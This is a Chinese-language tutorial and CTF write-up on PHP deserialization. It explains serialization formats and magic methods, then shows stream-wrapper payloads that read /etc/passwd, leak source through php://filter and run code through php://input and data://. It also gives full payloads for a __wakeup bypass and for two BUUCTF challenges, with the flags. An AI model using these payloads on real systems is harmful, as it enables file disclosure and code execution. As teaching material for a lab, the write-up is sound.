php反序列化

一:序列化基础:

1.概述

序列化是将对象或数组转化为方便存储、传输的字符串,php使用serialize()函数将对象序列化;序列化只作用于对象的成员属性,不序列化成员方法;

2.序列化值

1
2
3
4
5
6
7
空字符:  null   ---------   N;
整型: 666 --------- i:666;
浮点型: 66.6 --------- d:66.6;
Boolean型:
true --------- b:1;
false --------- b:0;
字符串: 'niubi' --------- s:5:"niubi";

3.对象序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test
{
private $a1="haha";
protected $a2="dada";
public $a3="sasa";
public $b=true;
public $c=123;
}
$d=new test();
echo serialize($d);
?>
//输出为:
O:4:"test":5:{s:8:" test a1";s:4:"haha";s:5:" * a2";s:4:"dada";s:2:"a3";s:4:"sasa";s:1:"b";b:1;s:1:"c";i:123;}

4.pop链序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class test1
{
public $a="haha";
public $b=true;
public $c=123;
}
class test2
{
public $h="hhh";
public $d;
}

$m=new test1();
$n=new test2();
$n->d=$m;
echo serialize($n);
?>
输出:
O:5:"test2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"test1":3:{s:1:"a";s:4:"haha";s:1:"b";b:1;s:1:"c";i:123;}}

5.数组序列化

1
2
3
4
5
6
<?php
$ha=array("haha",123,true,"ggg");
echo serialize($ha);
?>
输出:
a:4:{i:0;s:4:"haha";i:1;i:123;i:2;b:1;i:3;s:3:"ggg";}

二.php的魔术方法

__construct(): 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
__destruct(): 当对象被销毁时会自动调用。(析构函数)
__wakeup(): 使用unserialize时触发
__sleep(): 使用serialize时触发
__call(): 在对象上下文中调用不可访问的方法时触发
__callStatic(): 在静态上下文中调用不可访问的方法时触发
__get(): 用于从不可访问的属性读取数据
__set(): 用于将数据写入不可访问的属性
__isset(): 在不可访问的属性上调用isset()或empty()触发
__unset(): 在不可访问的属性上使用unset()时触发
__toString(): 把类当作字符串使用时触发
__invoke(): 当脚本尝试将对象调用为函数时触发

php反序列化漏洞的成因:

我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。
__sleep magic方法在一个对象被序列化时调用,__wakeup magic方法在一个对象被反序列化时调用。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class test{
public $variable = 'M0urn';
public $variable2 = 'OTHER';
public function printvariable(){
echo $this->variable.'<br />';
}
public function __construct(){
echo '__construct'.'<br />';
}
public function __destruct(){
echo '__destruct'.'<br />';
}
public function __wakeup(){
echo '__wakeup'.'<br />';
}
public function __sleep(){
echo '__sleep'.'<br />';
return array('variable','variable2');
}
}

//创建一个对象,这时会调用__construct
$M0urn = new test();
//序列化一个对象,这时会调用__sleep
$serialized = serialize($M0urn);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(BUZZ)
$object2->printvariable();
//脚本结束,销毁了两个对象,会调用两次__destruct
?>

image-20250304195735059

1
2
3
4
5
6
7
__construct
__sleep
serialized:O:4:"test":2:{s:8:"variable";s:9:"YewKnight";s:9:"variable2";s:5:"OTHER";}
__wakeup
YewKnight
__destruct
__destruct

可以看到实例化对象时调用了__construct,serialize时调用了__sleep,unserialize时调用了__wakeup,在对象被销毁的时候用了__destruce,程序结束时销毁两个对象,调用了两次__destruct

2.1php反序列化漏洞函数:

file_put_content:

可以把一个字符串写入文件中。有四个参数

参数名 参数内容
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
mode 可选。规定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATHFILE_APPENDLOCK_EX
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

三.PHP伪协议

file://

作用:

1
用于访问文件(绝对路径,相对路径,网络路径)

示例:

1
url?file=file:///etc/passwd

php://

作用:

1
访问输出输入流

1.php://filter

作用:

1
读取源代码并进行base64编码输出

示例:

1
url?cmd=php://filter/read=convert.base64-encode/resource=[文件名]

2.php://input

作用:

1
执行POST数据中的php代码

示例:

1
2
3
4
url?cmd=php://input
​~~~
POST数据:
<?php phpinfo()?>

data://

作用:

1
可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

示例:

1
url?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

实例:参考BUUCTF_[ZJCTF 2019]NiZhuanSiWei

四.绕过

1.——wakeup()方法漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//__wakeup()方法绕过例题

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> NSSCTF{f7b177f4-8e9c-4154-9134-db0011b3b97a}

只要满足__destruct()方法中的if条件就可以获得flag,构造payload时给对于属性赋值即可;

然而,在反序列化调用unserialize()方法时会触发__wakeup方法,进而改变我们给$passwd属性的赋值,最终导致不满足if条件;

    因此需要避免__wakeup方法的触发,这就需要可以利用__wakeup()方法的漏洞,使序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量,如下payload的构造:

BUUCTF_PHP

image-20250305203147050

通过dirsearch进行后台扫描,发现了www.zip

image-20250305203215554

接着查看class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

发现了好几个魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}

可以看到__destruct()方法中存在对username的判断,如果username这个变量值为admin且password为100,则可以在对象销毁时输出flag。

但是再看一下发现__wakeup()方法会使其在反序列化时使username变成guest,需要进行绕过

我们来构造序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name("admin",100);
$b = serialize($a);
echo $b."<br>"; //输出序列化
//echo urlencode($b); //输出url编码后的序列化
?>

image-20250305203451104

序列化之后得到的结果:

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过

Name后面的2改为3或以上即可。

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后因为url识别不了",所以改为%22

1
O:4:%22Name$22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00,这个url编码是空的意思。因为生产序列化时不会把这个也输出。

1
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

构造payload:

1
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

image-20250305204003528

BUUCTF_[ZJCTF 2019]NiZhuanSiWei

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

这里告诉我们要传入三个参数,并且发现了flag被正则过滤掉。

绕过第一个函数file_get_content(),我们使用data伪协议:

1
url?text=data://text/plain,welcome to the zjctf

image-20250311140955742

继续尝试绕过file,我们通过代码可以得到,可以使用useless.php读取file中的内容。再次构造php:filter伪协议。

1
php://filter/read=convert.base64-encode/resource=useless.php

image-20250311141331749

将得到的base64编码解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这里需要我们构造php序列化绕过,只需要让file=flag.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  

class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>

得到序列化后的结果:

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

此时,我们构造最后一个payload:

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20250311141627781

查看网站后端代码,得到flag:

1
flag{2e16d083-b783-43a4-9b6d-e5dad85b3ede}